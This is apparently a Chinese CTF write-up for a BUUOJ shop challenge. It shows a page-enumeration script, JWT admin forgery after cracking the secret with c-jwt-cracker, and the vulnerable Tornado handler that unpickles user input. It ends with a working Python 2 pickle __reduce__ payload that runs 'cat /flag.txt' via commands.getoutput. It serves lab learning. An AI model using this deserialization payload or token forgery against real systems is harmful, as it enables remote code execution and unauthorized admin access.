1.JWT伪造
2.脚本构造
3.pickle反序列化
打开题目:
是这个样子,有注册有登陆。不过还是先看一下源代码(发现这样一句话):
一定要买到lv6
??
什么意思。浏览一会页面之后,发现下面都是一些购买的东西,并且有很多页,而且看见了
lv4.png
,lv2.png
类似的图片,翻了许多页,没找到lv6.png
.
写个脚本跑一下:
- import requests
-
- url = "http://9b908a48-4852-4d94-bab0-43da96d38929.node4.buuoj.cn:81/shop?page="
-
- for i in range(1, 5000):
- rqs_url = url + str(i)
- resp = requests.get(rqs_url)
- if "lv6.png" in resp.text:
- print("Find it :" + str(i))
- break
结果:
由于购买要注册账号,随便注册一个
给了一个地址,访问一下:
只允许admin访问,而且我们注意到cookie有一个值是JWT,这里用JWT伪造admin:
用这个网站:JSON Web Tokens - jwt.io
接下来就是secret了,用脚本跑一下:
脚本地址:GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
记得
git clone
之后在当前目录输入make
破解:
伪造之后发现:
有一个zip文件下载之后代码审计,发现有pickle反序列化漏洞:
- import tornado.web
- from sshop.base import BaseHandler
- import pickle
- import urllib
-
-
- class AdminHandler(BaseHandler):
- @tornado.web.authenticated
- def get(self, *args, **kwargs):
- if self.current_user == "admin":
- return self.render('form.html', res='This is Black Technology!', member=0)
- else:
- return self.render('no_ass.html')
-
- @tornado.web.authenticated
- def post(self, *args, **kwargs):
- try:
- become = self.get_argument('become')
- p = pickle.loads(urllib.unquote(become))
- return self.render('form.html', res=p, member=1)
- except:
- return self.render('form.html', res='This is Black Technology!', member=0)
这里利用反序列化漏洞是因为当python执行反序列化的时候会触发__reduce__()从而触发恶意代码
使用python2跑一下脚本:
- import pickle
- import urllib
- import commands
-
-
- class payload(object):
- def __reduce__(self):
- return (commands.getoutput,('cat /flag.txt',))
- # return (eval, ("open('/flag.txt','r').read()",))
-
-
- a = pickle.dumps(payload())
- a = urllib.quote(a)
- print(a)
上面注释的是另一种方法,只能读取文件,主要是这一题禁用了很多函数。但是commands是可用的
生成payload:
拿到flag: